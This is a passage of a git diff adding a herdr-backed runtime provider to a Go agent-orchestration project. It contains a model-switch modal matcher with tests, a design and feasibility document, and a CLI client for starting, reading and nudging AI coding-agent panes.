+// RunLaneSessionLastActive is the last-active union. TS Avail<{at}>.
+type RunLaneSessionLastActive struct {
+	Status string // "available" | "unavailable"
+	At     string
+	Error  string
+}
+
+// RunLaneSessionRunning is the running-flag union. TS Avail<{value}>.
+type RunLaneSessionRunning struct {
+	Status string // "available" | "unavailable"
+	Value  bool
+	Error  string
+}
+
+// RunLaneSessionActivity is the activity-hint union. TS Avail<{value}>.
+type RunLaneSessionActivity struct {
+	Status string // "available" | "unavailable"
+	Value  string
+	Error  string
+}
+
+// RunCensusState is the city-census union. TS Avail<{data}>. BuildRunSummary
+// emits the unavailable arm; EnrichRunSummary replaces it with the available arm
+// carrying the derived RunCensus.
+type RunCensusState struct {
+	Status string // "available" | "unavailable"
+	Data   RunCensus
+	Error  string
+}
+
+// RunCensus is the threshold-independent city census. Port of TS RunCensus.
+// Field order matches the object literal built in buildCensus (health.ts).
+type RunCensus struct {
+	ByPhase          RunCensusByPhase
+	TotalInFlight    int
+	Unverifiable     int
+	KnownDenominator int
+	Thrashing        int
+}
+
+// RunCensusByPhase is the per-phase lane tally. Port of TS Record<RunPhase,number>.
+// Key order matches zeroByPhase() in health.ts (NOT alphabetical).
+type RunCensusByPhase struct {
+	Intake         int
+	Implementation int
+	Review         int
+	Approval       int
+	Finalization   int
+	Blocked        int
+	Complete       int
+	Active         int
+}
+
+// RunChange is one recent-change row. Port of TS RunChange.
+type RunChange struct {
+	ID        string `json:"id"`
+	Title     string `json:"title"`
+	Status    string `json:"status"`
+	UpdatedAt string `json:"updatedAt"`
+}
diff --git a/internal/runtime/dialog.go b/internal/runtime/dialog.go
index 27f01889c0..7298792f6e 100644
--- a/internal/runtime/dialog.go
+++ b/internal/runtime/dialog.go
@@ -1008,6 +1008,18 @@ func ContainsRateLimitDialog(content string) bool {
 		strings.Contains(content, "Rate limit")
 }
 
+// ContainsModelSwitchModal reports whether pane content shows the mid-session
+// "approaching rate limits — switch to a cheaper model?" modal that Codex/GPT
+// raises (offering to downgrade the model). Unlike ContainsRateLimitDialog — a
+// permissive matcher used only at startup — this requires BOTH the switch offer
+// and the keep-current-model option, so ordinary agent output that merely
+// mentions "rate limit" cannot false-match and receive spurious keystrokes when
+// checked mid-session against an arbitrary working pane.
+func ContainsModelSwitchModal(content string) bool {
+	return strings.Contains(content, "Keep current model") &&
+		strings.Contains(content, "Switch to ")
+}
+
 // ContainsProviderRateLimitScreen reports whether pane content has
 // high-confidence provider rate-limit screen evidence.
 func ContainsProviderRateLimitScreen(content string) bool {
diff --git a/internal/runtime/dialog_model_switch_test.go b/internal/runtime/dialog_model_switch_test.go
new file mode 100644
index 0000000000..fda51055ff
--- /dev/null
+++ b/internal/runtime/dialog_model_switch_test.go
@@ -0,0 +1,51 @@
+package runtime
+
+import "testing"
+
+// TestContainsModelSwitchModal verifies the high-confidence matcher for the
+// mid-session Codex/GPT "approaching rate limits — switch to a cheaper model?"
+// modal. It must match the real modal but NOT ordinary agent output that merely
+// mentions rate limits, so a mid-session dismiss cannot send spurious keystrokes
+// into a working pane.
+func TestContainsModelSwitchModal(t *testing.T) {
+	tests := []struct {
+		name    string
+		content string
+		want    bool
+	}{
+		{
+			name: "codex model-switch modal",
+			content: "Approaching rate limits\n" +
+				"Switch to gpt-5.4-mini for lower credit usage?\n" +
+				"› 1. Switch to gpt-5.4-mini\n" +
+				"  2. Keep current model\n" +
+				"  3. Keep current model (never show again)\n" +
+				"Press enter to confirm or esc to go back",
+			want: true,
+		},
+		{
+			name: "ordinary work output mentioning rate limits does not match",
+			content: "We're approaching rate limits on the gpt endpoint; the rate " +
+				"limit is 1000 req/min. I'll switch to exponential backoff and " +
+				"keep the current model config.",
+			want: false,
+		},
+		{
+			name:    "switch offer alone (no keep option) does not match",
+			content: "Switch to a faster branch strategy for the release.",
+			want:    false,
+		},
+		{
+			name:    "empty",
+			content: "",
+			want:    false,
+		},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := ContainsModelSwitchModal(tt.content); got != tt.want {
+				t.Errorf("ContainsModelSwitchModal(%q) = %v, want %v", tt.content, got, tt.want)
+			}
+		})
+	}
+}
diff --git a/internal/runtime/herdr-provider-design.md b/internal/runtime/herdr-provider-design.md
new file mode 100644
index 0000000000..7ce41f0933
--- /dev/null
+++ b/internal/runtime/herdr-provider-design.md
@@ -0,0 +1,170 @@
+# herdr as a gascity runtime provider — feasibility & interface mapping
+
+**Status:** IMPLEMENTED & conformance-passing (branch `feat/herdr-runtime-provider`).
+
+## Implemented (2026-06-29)
+`internal/runtime/herdr/`: `client.go` (herdr CLI client), `provider.go` (the full
+`runtime.Provider` + `ServerLifecycleProvider`), `capabilities.go` (`IdleWaitProvider` →
+native `agent wait`, `ImmediateNudgeProvider`), `provider_live_test.go` +
+`conformance_test.go`. Registered as the `"herdr"` runtime in `cmd/gc/runtime_registry.go`;
+the full `cmd/gc` binary builds clean (cgo/ICU). **Passes the full `runtimetest` Provider
+conformance suite + a live integration test against herdr 0.7.1.** One bug surfaced & fixed
+by conformance: some herdr verbs return an empty body on success, so `run()` treats
+whitespace-only output as a no-payload success.
+
+**Layout — one space per agent (2026-06-29):** `Start` places each agent in its **own tab** under a
+**per-rig (or per-town) workspace** — workspace = the rig (`<rig>--…`) or town (`<town>__…`), tab =
+the agent (segment after the last `__`); see `workspaceTabFor`. herdr auto-spawns a stray shell pane
+on `workspace`/`tab create`, so `Start` closes it, leaving the tab holding only the agent. Find-or-
+create of the shared rig workspace is mutex-serialized so concurrent same-rig Starts don't race to
+duplicate it. Teardown needs no special handling: closing the agent's pane drops its tab, and the
+last tab's workspace (herdr collapses empties). This replaces the earlier default that tiled every
+agent as a **pane** in one shared tab.
+
+**To select it:** set the runtime to `"herdr"` (the same selector that picks tmux/k8s/ssh) —
+per-agent, per-rig, or city default. tmux stays the default + fallback. **Pilot safely:** flip
+`city.toml` to herdr but pin the **mayor to tmux** first (don't run the orchestrator on an
+unproven runtime — a wedge can't self-recover); bake, then drop the override. Omitted optional
+capabilities (Relaunch/ProcessTableScanner/InterruptBoundaryWait/Dialog) degrade gracefully.
+
+**Goal:** add **herdr** (<https://herdr.dev>) as an **opt-in** runtime provider alongside
+tmux / ssh / k8s, selectable through the existing runtime registry. NOT a tmux replacement —
+an additive backend, piloted on low-stakes agents first.
+
+## Validated against herdr 0.7.1 (live smoke test, 2026-06-29)
+Probed the installed `herdr 0.7.1` and ran a sandboxed smoke test (isolated named session →
+`agent start` a throwaway process → exercise the verbs → cleaned up). Confirmed against reality —
+this supersedes the doc-derived guesses in the tables below.
+
+**Works now, over the JSON socket API (clean request/response):**
+- `Provider.Start` ← `herdr agent start <name> --cwd PATH --env K=V --no-focus -- <argv>`
+  (returns `pane_id`/`workspace_id`/`terminal_id`; **agents are addressable BY NAME** → 1:1 with
+  gascity sessions — cleaner than the pane-id path).
+- `IsRunning`/`ListRunning` ← `agent list` / `agent get <name>`.
+- `ProcessAlive` + the hard-kill PID ← `pane process-info` → `shell_pid` + the full foreground
+  process tree (argv/cmdline/cwd/pid). Excellent — covers both.
+- `Nudge` ← `agent send <name> <text>` (literal) or `pane run` (text+Enter); `SendKeys` ← `pane send-keys`.
+- `Peek` ← `agent read --source visible`. **CORRECTION:** `visible` = current rendered screen
+  (what `fingerprint.go` needs); `recent`/`recent-unwrapped` are **scrollback only** (returned empty
+  until lines scroll off). Full history = `recent-unwrapped` + `visible`.
+- `WaitForIdle` ← `agent wait <name> --status idle --timeout MS` (native).
+- `Attach` ← `agent attach <name> [--takeover]`.
+
+**New finding — startup ordering:** a named session's **server must be running before any
+subcommand can reach its socket** (`herdr --session <name> <cmd>` → `NotFound` otherwise). So
+`Provider.Start` must ensure the session-server is up first. Maps to `ServerLifecycleProvider.
+ConfigureServer` = own one shared herdr session-server (≈ the tmux `-L gc` server), one agent/pane
+per gascity session. (`herdr server` works headless but prints a "did you mean the TUI?" hint —
+find the blessed headless-start invocation.)
+
+**Confirmed gaps (real in 0.7.1):** no signal API (soft interrupt = `send-keys ctrl+c`; hard kill
+via process-info PID); no per-session KV (`report-metadata` is display-only + ttl) → sidecar file;
+no `ClearScrollback`; `IsAttached`/`GetLastActivity` not directly exposed (infer / best-effort).
+
+**Bonus confirmed:** native `agent_status` + `agent wait` + `report-agent` (a bare bash loop shows
+`unknown`; real agents populate via detection manifests) — the liveness-improvement upside is real,
+not just docs.
+
+---
+
+> Doc-derived mapping below (pre-validation); the tables are still accurate except where the
+> validation section above corrects them (Peek source; the first-class `agent` command).
+
+## Why it's a clean fit
+`internal/runtime` already abstracts the multiplexer: a core `Provider` interface
+(`runtime.go:119`) + ~11 optional capability interfaces, with backends for **tmux, ssh, k8s,
+exec, subprocess, hybrid, fake**. Backend selection is name-based via
+`internal/runtime/registry` ("builtin providers register from `cmd/gc`; pack-declared runtimes
+register during city load"). So adding herdr is: implement the contract → `registry.Register
+("herdr", factory)` → pass the `runtimetest` conformance suite. `internal/runtime/tmux/`
+(~290 LOC) is the reference impl. **The "setting" the request wants largely already exists** —
+herdr just becomes another selectable runtime name.
+
+## herdr surface (CLI + local socket API)
+- Socket: unix `~/.config/herdr/sessions/<name>/herdr.sock`, newline-delimited JSON,
+  request/response **plus push event subscriptions**, no auth (local). Injects `HERDR_*` env
+  into managed processes (caller env otherwise passes through).
+- Primitives: `workspace.create/close`, `pane.split/run/send_text/send_keys/read/close/get/
+  list/process_info`, `wait agent-status`, `wait output`, `events.subscribe`
+  (`agent_status_changed`, `output_matched`, `pane.exited`, …), `server.stop/reload_config`,
+  `pane.report_agent` (native agent state).
+
+## `Provider` method → herdr mapping (24 methods)
+| gascity method | herdr | notes |
+|---|---|---|
+| `Start` | `workspace.create`/`pane.split` (`cwd`, `env`, `--no-focus`) + `pane.run` | headless via `--no-focus`/`--no-session` |
+| `Stop` | `workspace.close` / `pane.close` | idempotent |
+| `Interrupt` | `pane.send_keys ctrl+c` | ⚠ keystroke, not a real signal (see Gaps) |
+| `IsRunning` | `workspace.get`/`pane.get`/`workspace.list` | ✅ |
+| `IsAttached` | — | ⚠ no dedicated query (Gaps) |
+| `Attach` | `herdr --session <name>` / `terminal attach` | ✅ |
+| `ProcessAlive` | `pane.process_info` (PID, fg pgroup, argv) → match `processNames` | ✅ |
+| `Nudge` | `pane.run` (text+Enter) / `pane.send_text` | ✅ |
+| `SetMeta`/`GetMeta`/`RemoveMeta` | — | ⚠ no general KV (Gaps) |
+| `Peek(name, lines)` | `pane.read --source recent-unwrapped --lines N` | ✅ (also `--source detection`) |
+| `ListRunning(prefix)` | `workspace.list` + label/name-prefix filter | ✅ orphan detection |
+| `GetLastActivity` | — | ⚠ no timestamp (Gaps) |
+| `ClearScrollback` | — | ⚠ not in docs; best-effort (Gaps) |
+| `CopyTo` | host-side fs copy into pane `foreground_cwd` | ✅ provider-agnostic |
+| `SendKeys` | `pane.send_keys` | ✅ exact match (`enter`/`esc`/`ctrl+h`/…) |
+| `RunLive` | re-issue `pane.run` for session_live cmds | ✅ |
+| `Capabilities` | provider self-reports | ✅ |
+
+## Capability interfaces → herdr
+| capability | herdr | |
+|---|---|---|
+| `IdleWaitProvider.WaitForIdle` | `wait agent-status --status idle` / `events.wait` | ✅✅ **native** |
+| `InterruptBoundaryWaitProvider` | `wait output --match "<turn_aborted>"` / `events.wait output_matched` | ✅✅ **native** |
+| `ImmediateNudgeProvider.NudgeNow` | `pane.send_input`/`pane.run` (no wait-idle) | ✅ |
+| `DialogProvider.DismissKnownDialogs` | `pane.read --source detection` + `pane.send_keys` | ✅ |
+| `RelaunchProvider.Relaunch` | `pane.run` new agent cmd in the warm pane | ✅ (respawn-in-place) |
+| `ProcessTableScanner` | host `/proc`/`ps` scan for `GC_SESSION_ID` (+ `pane.process_info` for PID map); `TerminateRuntime` = OS kill | ✅ host-side, provider-agnostic |
+| `ServerLifecycleProvider` | `server.reload_config` / `server.stop` + per-session socket | ✅ (= the tmux server / `-L gc`) |
+| `InteractionProvider` | `pane.read` + `pane.send_keys`, or `agent_status=blocked` + `report_agent` | ◑ partial |
+| `InterruptedTurnResetProvider` | `pane.send_keys` (Gemini-specific) | ✅ |
+| `TransportCapabilityProvider` | self-report | ✅ |
+| `ExecProvider.Exec` | — | ⚠ skip (optional; falls back to dedicated verbs) |
+
+## Gaps (and bridges)
+1. **Per-session metadata** (`SetMeta/GetMeta/RemoveMeta`) — herdr's `report_metadata` is
+   display-only, not a KV. gascity uses meta for **drain signaling** + **config-fingerprint
+   storage**. **Bridge:** a tiny host-side KV keyed by session name (a file under the city
+   runtime dir). Low risk, fully owned by the provider.
+2. **`IsAttached`** — no dedicated query. **Bridge:** parse `herdr status` / infer from
+   `pane.get`; or return false (the contract permits "attach detection unsupported").
+3. **`GetLastActivity`** — no timestamp. **Bridge:** subscribe to `output` events and stamp,
+   or diff `pane.read`. Best-effort per the contract.
+4. **`ClearScrollback`** — not in the API. **Bridge:** best-effort no-op (contract allows), or
+   close+respawn the pane on restart.
+5. **Signals** — only keystroke `ctrl+c` (no signal API). **Bridge:** soft `Interrupt` =
+   `send_keys ctrl+c`; hard kill (`Stop` / `TerminateRuntime`) = OS kill via
+   `pane.process_info` PID (gascity already OS-kills by PID — e.g. wedge recovery).
+6. **`ExecProvider`** — no capture-stdout+exit one-shot. **Skip it** (optional; the carrier
+   falls back to the dedicated wire verbs Peek/SendKeys/Nudge).
+
+## Upsides over tmux (worth the pilot)
+1. **Structured JSON socket API + error codes** vs scraping tmux text output (brittle).
+2. **Native push events** (`events.subscribe`) — gascity **polls** today for liveness/wedge
+   detection. `pane.exited` → instant dead-agent detection; `agent_status_changed` →
+   real-time. **Directly relevant to this town's repeated wedged-agent incidents.**
+3. **Native agent-state** (`agent_status` working/idle/done/blocked, `--source detection`,
+   `wait agent-status`/`wait output`) maps *directly* onto `IdleWaitProvider` /
+   `InterruptBoundaryWaitProvider` (tmux implements these by polling/scraping). The
+   incident-prone `fingerprint.go` stuck-detection could be augmented by herdr's native model.
+
+## Recommended approach
+1. `internal/runtime/herdr/` — implement `Provider` (mirror `tmux/`), driving a thin
+   newline-JSON client over the unix socket (+ CLI fallback).
+2. `registry.Register("herdr", factory)` in the `cmd/gc` wiring.
+3. Expose via the **existing** runtime-selection setting (per-agent / per-rig / city default —
+   the same field that picks tmux/ssh/k8s). herdr is opt-in; tmux stays default.
+4. Implement the gap bridges (sidecar meta KV; PID-based hard-kill).
+5. Pass `runtimetest`/`fake_conformance_test`-style conformance + a herdr integration test.
+6. **Pilot** on one low-stakes agent (a dog, or a single rig's witness) behind the setting;
+   watch liveness/wedge detection specifically; promote only when it's boring.
+
+## Effort
+Comparable to the tmux provider (~300–500 LOC) + the socket client + 4 small gap bridges.
+A contained PR; the conformance suite de-risks correctness. The biggest *value* lever is #2/#3
+(events + native agent-state) — potentially a real improvement to wedge detection, not just
+multiplexer parity.
diff --git a/internal/runtime/herdr/capabilities.go b/internal/runtime/herdr/capabilities.go
new file mode 100644
index 0000000000..8fbd2c6f4a
--- /dev/null
+++ b/internal/runtime/herdr/capabilities.go
@@ -0,0 +1,38 @@
+package herdr
+
+import (
+	"context"
+	"strconv"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// Optional capability interfaces herdr supports natively. (Relaunch,
+// ProcessTableScanner, InterruptBoundaryWait, and DialogProvider are
+// deliberately omitted from the first cut — the reconciler degrades gracefully
+// when a provider lacks them: Relaunch falls back to Stop+Start, the others to
+// no-op/default behavior.)
+var (
+	_ runtime.IdleWaitProvider       = (*Provider)(nil)
+	_ runtime.ImmediateNudgeProvider = (*Provider)(nil)
+)
+
+// WaitForIdle blocks until herdr reports the agent idle or the timeout elapses,
+// via herdr's native `agent wait --status idle` — vs the pane-polling tmux does.
+// Either outcome (idle reached or timed out) means the caller may proceed, so
+// only context cancellation surfaces as an error; the timeout is a hard bound.
+func (p *Provider) WaitForIdle(ctx context.Context, name string, timeout time.Duration) error {
+	ms := int(timeout / time.Millisecond)
+	if ms < 1 {
+		ms = 1
+	}
+	_, _ = p.c.run(ctx, "agent", "wait", name, "--status", "idle", "--timeout", strconv.Itoa(ms))
+	return ctx.Err()
+}
+
+// NudgeNow injects input immediately. herdr's send/run already deliver without a
+// wait-idle heuristic, so this is the same delivery path as Nudge.
+func (p *Provider) NudgeNow(name string, content []runtime.ContentBlock) error {
+	return p.Nudge(name, content)
+}
diff --git a/internal/runtime/herdr/client.go b/internal/runtime/herdr/client.go
new file mode 100644
index 0000000000..6bd3a2e610
--- /dev/null
+++ b/internal/runtime/herdr/client.go
@@ -0,0 +1,479 @@
+// Package herdr implements a gascity runtime.Provider backed by herdr
+// (https://herdr.dev) — a terminal workspace manager for AI coding agents.
+//
+// It shells out to the `herdr` CLI (which wraps herdr's local JSON socket API),
+// mirroring the tmux provider's executor pattern, and parses the JSON envelope
+// each verb emits. herdr is opt-in via the "herdr" runtime selector; tmux stays
+// the default. See herdr-provider-design.md for the full interface mapping and
+// the 0.7.1 validation notes.
+//
+// Model: one shared herdr *session* per city (≈ the tmux `-L gc` server). Within
+// that session agents are grouped one *workspace* per rig (or per town) and one
+// *tab* per agent, so each gascity session is its own switchable space rather
+// than a tiled pane. Agents are addressable by name, 1:1 with gascity session
+// names.
+package herdr
+
+import (
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strconv"
+	"strings"
+	"time"
+)
+
+// client runs `herdr` CLI verbs against a named herdr session and decodes the
+// response envelope ({"id":…,"result":…} | {"id":…,"error":{code,message}}).
+type client struct {
+	session  string // herdr named session (shared per city)
+	bin      string // herdr binary (default "herdr")
+	cityRoot string // city root: the shared server's launch cwd, and the effectiveWorkDir fallback when a session's WorkDir doesn't exist yet (empty in city-less/standalone construction)
+}
+
+func newClient(session, cityRoot string) *client {
+	return &client{session: session, bin: "herdr", cityRoot: cityRoot}
+}
+
+type herdrError struct {
+	Code    string `json:"code"`
+	Message string `json:"message"`
+}
+
+type envelope struct {
+	Result json.RawMessage `json:"result"`
+	Error  *herdrError     `json:"error"`
+}
+
+// run executes `herdr --session <session> <args…>` and returns the result
+// payload, or an error (transport failure or herdr-reported error).
+func (c *client) run(ctx context.Context, args ...string) (json.RawMessage, error) {
+	full := append([]string{"--session", c.session}, args...)
+	out, err := exec.CommandContext(ctx, c.bin, full...).Output()
+	if err != nil {
+		var ee *exec.ExitError
+		if errors.As(err, &ee) && len(ee.Stderr) > 0 {
+			return nil, fmt.Errorf("herdr %v: %s", args, ee.Stderr)
+		}
+		return nil, fmt.Errorf("herdr %v: %w", args, err)
+	}
+	if len(strings.TrimSpace(string(out))) == 0 {
+		return nil, nil // success with no payload (e.g. pane send-keys / pane run)
+	}
+	var env envelope
+	if err := json.Unmarshal(out, &env); err != nil {
+		return nil, fmt.Errorf("herdr %v: decode response: %w", args, err)
+	}
+	if env.Error != nil {
+		return nil, fmt.Errorf("herdr %v: %s: %s", args, env.Error.Code, env.Error.Message)
+	}
+	return env.Result, nil
+}
+
+// agentInfo mirrors herdr's agent object.
+type agentInfo struct {
+	Name        string `json:"name"`
+	PaneID      string `json:"pane_id"`
+	WorkspaceID string `json:"workspace_id"`
+	TabID       string `json:"tab_id"`
+	TerminalID  string `json:"terminal_id"`
+	AgentStatus string `json:"agent_status"`
+	Cwd         string `json:"cwd"`
+}
+
+// startAgent → `herdr agent start <name> --no-focus [--tab <tabID>] [--cwd <cwd>]
+// [--env k=v …] -- <argv…>`. A non-empty tabID places the agent in that tab;
+// without it herdr splits the focused tab into a new pane.
+func (c *client) startAgent(ctx context.Context, name, tabID, cwd string, env map[string]string, argv []string) (agentInfo, error) {
+	args := []string{"agent", "start", name, "--no-focus"}
+	if tabID != "" {
+		args = append(args, "--tab", tabID)
+	}
+	if cwd != "" {
+		args = append(args, "--cwd", cwd)
+	}
+	for k, v := range env {
+		args = append(args, "--env", k+"="+v)
+	}
+	args = append(args, "--")
+	args = append(args, argv...)
+	res, err := c.run(ctx, args...)
+	if err != nil {
+		return agentInfo{}, err
+	}
+	var wrap struct {
+		Agent agentInfo `json:"agent"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return agentInfo{}, fmt.Errorf("herdr agent start: decode: %w", err)
+	}
+	return wrap.Agent, nil
+}
+
+// listAgents → `herdr agent list`.
+func (c *client) listAgents(ctx context.Context) ([]agentInfo, error) {
+	res, err := c.run(ctx, "agent", "list")
+	if err != nil {
+		return nil, err
+	}
+	var wrap struct {
+		Agents []agentInfo `json:"agents"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return nil, fmt.Errorf("herdr agent list: decode: %w", err)
+	}
+	return wrap.Agents, nil
+}
+
+// read → `herdr agent read <name> --source <source> [--lines n]`. Use
+// "visible" for the current screen (the liveness/fingerprint snapshot);
+// "recent"/"recent-unwrapped" are scrollback only.
+func (c *client) read(ctx context.Context, name, source string, lines int) (string, error) {
+	args := []string{"agent", "read", name, "--source", source}
+	if lines > 0 {
+		args = append(args, "--lines", strconv.Itoa(lines))
+	}
+	res, err := c.run(ctx, args...)
+	if err != nil {
+		return "", err
+	}
+	var wrap struct {
+		Read struct {
+			Text string `json:"text"`
+		} `json:"read"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return "", fmt.Errorf("herdr agent read: decode: %w", err)
+	}
+	return wrap.Read.Text, nil
+}
+
+// proc is one process in a pane's foreground tree.
+type proc struct {
+	PID  int      `json:"pid"`
+	Name string   `json:"name"`
+	Argv []string `json:"argv"`
+	Cwd  string   `json:"cwd"`
+}
+
+// processInfo → `herdr pane process-info --pane <paneID>`: shell PID + the
+// foreground process tree (powers ProcessAlive and the hard-kill path).
+func (c *client) processInfo(ctx context.Context, paneID string) (shellPID int, fg []proc, err error) {
+	res, e := c.run(ctx, "pane", "process-info", "--pane", paneID)
+	if e != nil {
+		return 0, nil, e
+	}
+	var wrap struct {
+		ProcessInfo struct {
+			ShellPID            int    `json:"shell_pid"`
+			ForegroundProcesses []proc `json:"foreground_processes"`
+		} `json:"process_info"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return 0, nil, fmt.Errorf("herdr pane process-info: decode: %w", err)
+	}
+	return wrap.ProcessInfo.ShellPID, wrap.ProcessInfo.ForegroundProcesses, nil
+}
+
+// sendKeys → `herdr pane send-keys <paneID> <key…>` (raw keys, e.g. ctrl+c, enter).
+func (c *client) sendKeys(ctx context.Context, paneID string, keys ...string) error {
+	args := append([]string{"pane", "send-keys", paneID}, keys...)
+	_, err := c.run(ctx, args...)
+	return err
+}
+
+// paneRun → `herdr pane run <paneID> <command>` (pastes text into the pane).
+func (c *client) paneRun(ctx context.Context, paneID, command string) error {
+	_, err := c.run(ctx, "pane", "run", paneID, command)
+	return err
+}
+
+// deliverNudge types a nudge into the agent's input and submits it, then
+// confirms the submit actually landed. The text is injected with `pane run`
+// (paste semantics: multi-line content is preserved and the paste's own trailing
+// newline is swallowed by the TUI, so the text never submits on its own).
+//
+// Submission is the hard part. Two facts, learned empirically against herdr 0.7.1
+// + the Claude Code TUI:
+//
+//   - The TUI must be at a ready input prompt: a submit delivered mid-boot is
+//     swallowed. Callers deliver to a ready agent — Start waits for idle first
+//     (see startupNudgeIdleTimeout); the Nudge path targets running agents.
+//   - A submit that races the paste-commit is swallowed, stranding the prompt
+//     typed-but-unsubmitted — the agent then idles forever with work it never
+//     began (the missed startup-nudge stall).
+//
+// The prior open-loop form (settle → CR → settle → CR, via `agent send "\r"`) was
+// not enough under concurrent restart-time boot load: both CRs raced the paste
+// and the nudge stranded, and the swallowed result hid it. This is now
+// closed-loop: press Enter as a real key event (`pane send-keys`, which submits
+// reliably where a pasted `\r` did not), then verify via `agent get` that the
+// agent actually left its idle prompt. Retry the Enter until it does, bounded so
+// a nudge that legitimately produces no work cannot spin. A redundant Enter on an
+// already-submitted/empty prompt is a harmless no-op. Returns an error if the
+// submit never confirms, so the caller can surface it instead of silently
+// leaving a stranded agent.
+//
+// Contract: inject + submit by pane id, confirm by agent name.
+func (c *client) deliverNudge(ctx context.Context, paneID, name, text string) error {
+	if err := c.paneRun(ctx, paneID, text); err != nil {
+		return err
+	}
+	time.Sleep(submitSettleDelay) // let the paste commit before the first submit
+	var lastErr error
+	for attempt := 0; attempt < submitMaxAttempts; attempt++ {
+		if err := c.sendKeys(ctx, paneID, "Enter"); err != nil {
+			lastErr = err // transient send failure; verify + retry within the bound
+		}
+		time.Sleep(submitSettleDelay)
+		info, ok, err := c.getAgent(ctx, name)
+		switch {
+		case err != nil:
+			lastErr = err // transient read failure; retry within the bound
+		case !ok:
+			return fmt.Errorf("herdr deliverNudge: agent %q vanished before submit confirmed", name)
+		case !strings.EqualFold(strings.TrimSpace(info.AgentStatus), "idle"):
+			return nil // left the idle prompt → submit landed, agent is running
+		}
+	}
+	if lastErr != nil {
+		return fmt.Errorf("herdr deliverNudge: %q still idle after %d submit attempts: %w", name, submitMaxAttempts, lastErr)
+	}
+	return fmt.Errorf("herdr deliverNudge: %q still idle after %d submit attempts (nudge typed-but-unsubmitted?)", name, submitMaxAttempts)
+}
+
+// submitSettleDelay is how long deliverNudge waits for a `pane run` paste to
+// commit in the TUI before each submit Enter and before re-reading agent status.
+// A submit that races the paste is swallowed; ~1s clears it with margin even
+// under the concurrent boot load of a town-wide restart.
+const submitSettleDelay = 1 * time.Second
+
+// submitMaxAttempts bounds the closed-loop submit: ~submitMaxAttempts·settle is
+// the worst-case latency before deliverNudge gives up and returns an error. Sized
+// to cover a slow paste-commit under restart-time load without spinning on a
+// nudge that legitimately leaves the agent idle.
+const submitMaxAttempts = 5
+
+// closePane → `herdr pane close <paneID>`.
+func (c *client) closePane(ctx context.Context, paneID string) error {
+	_, err := c.run(ctx, "pane", "close", paneID)
+	return err
+}
+
+// getAgent fetches one agent by name: (info, true, nil) if present,
+// (zero, false, nil) if herdr reports it absent, (_, false, err) on failure.
+func (c *client) getAgent(ctx context.Context, name string) (agentInfo, bool, error) {
+	res, err := c.run(ctx, "agent", "get", name)
+	if err != nil {
+		if strings.Contains(err.Error(), "not_found") || strings.Contains(err.Error(), "not found") {
+			return agentInfo{}, false, nil
+		}
+		return agentInfo{}, false, err
+	}
+	var wrap struct {
+		Agent agentInfo `json:"agent"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return agentInfo{}, false, fmt.Errorf("herdr agent get: decode: %w", err)
+	}
+	return wrap.Agent, true, nil
+}
+
+// ── workspace / tab placement ────────────────────────────────────────────────
+//
+// herdr's tree is workspace › tab › pane. To give each agent its own switchable
+// space (vs tiling every agent as a pane in one tab), Start groups agents one
+// workspace per rig/town and one tab per agent. `workspace create` and `tab
+// create` each auto-spawn a stray shell pane; the caller closes it so the tab
+// holds only the agent.
+
+type workspaceInfo struct {
+	WorkspaceID string `json:"workspace_id"`
+	Label       string `json:"label"`
+}
+
+type tabInfo struct {
+	TabID string `json:"tab_id"`
+	Label string `json:"label"`
+}
+
+// findWorkspace returns the id of the workspace whose label matches, or "".
+func (c *client) findWorkspace(ctx context.Context, label string) (string, error) {
+	res, err := c.run(ctx, "workspace", "list")
+	if err != nil {
+		return "", err
+	}
+	var wrap struct {
+		Workspaces []workspaceInfo `json:"workspaces"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return "", fmt.Errorf("herdr workspace list: decode: %w", err)
+	}
+	for _, w := range wrap.Workspaces {
+		if w.Label == label {
+			return w.WorkspaceID, nil
+		}
+	}
+	return "", nil
+}
+
+// workspaceCreate makes a workspace labeled label and returns its id plus the
+// default tab and stray shell pane herdr auto-spawns inside it (the caller
+// repurposes the tab and closes the stray pane).
+func (c *client) workspaceCreate(ctx context.Context, label string) (wsID, tabID, strayPane string, err error) {
+	res, err := c.run(ctx, "workspace", "create", "--label", label, "--no-focus")
+	if err != nil {
+		return "", "", "", err
+	}
+	var wrap struct {
+		Workspace struct {
+			WorkspaceID string `json:"workspace_id"`
+		} `json:"workspace"`
+		Tab struct {
+			TabID string `json:"tab_id"`
+		} `json:"tab"`
+		RootPane struct {
+			PaneID string `json:"pane_id"`
+		} `json:"root_pane"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return "", "", "", fmt.Errorf("herdr workspace create: decode: %w", err)
+	}
+	return wrap.Workspace.WorkspaceID, wrap.Tab.TabID, wrap.RootPane.PaneID, nil
+}
+
+// findTab returns the id of the tab in wsID whose label matches, or "".
+func (c *client) findTab(ctx context.Context, wsID, label string) (string, error) {
+	res, err := c.run(ctx, "tab", "list", "--workspace", wsID)
+	if err != nil {
+		return "", err
+	}
+	var wrap struct {
+		Tabs []tabInfo `json:"tabs"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return "", fmt.Errorf("herdr tab list: decode: %w", err)
+	}
+	for _, t := range wrap.Tabs {
+		if t.Label == label {
+			return t.TabID, nil
+		}
+	}
+	return "", nil
+}
+
+// tabCreate makes a tab labeled label in wsID and returns its id plus the stray
+// shell pane herdr auto-spawns (the caller closes it after the agent starts).
+func (c *client) tabCreate(ctx context.Context, wsID, label string) (tabID, strayPane string, err error) {
+	res, err := c.run(ctx, "tab", "create", "--workspace", wsID, "--label", label, "--no-focus")
+	if err != nil {
+		return "", "", err
+	}
+	var wrap struct {
+		Tab struct {
+			TabID string `json:"tab_id"`
+		} `json:"tab"`
+		RootPane struct {
+			PaneID string `json:"pane_id"`
+		} `json:"root_pane"`
+	}
+	if err := json.Unmarshal(res, &wrap); err != nil {
+		return "", "", fmt.Errorf("herdr tab create: decode: %w", err)
+	}
+	return wrap.Tab.TabID, wrap.RootPane.PaneID, nil
+}
+
+// tabRename relabels a tab (cosmetic; best-effort at the call site).
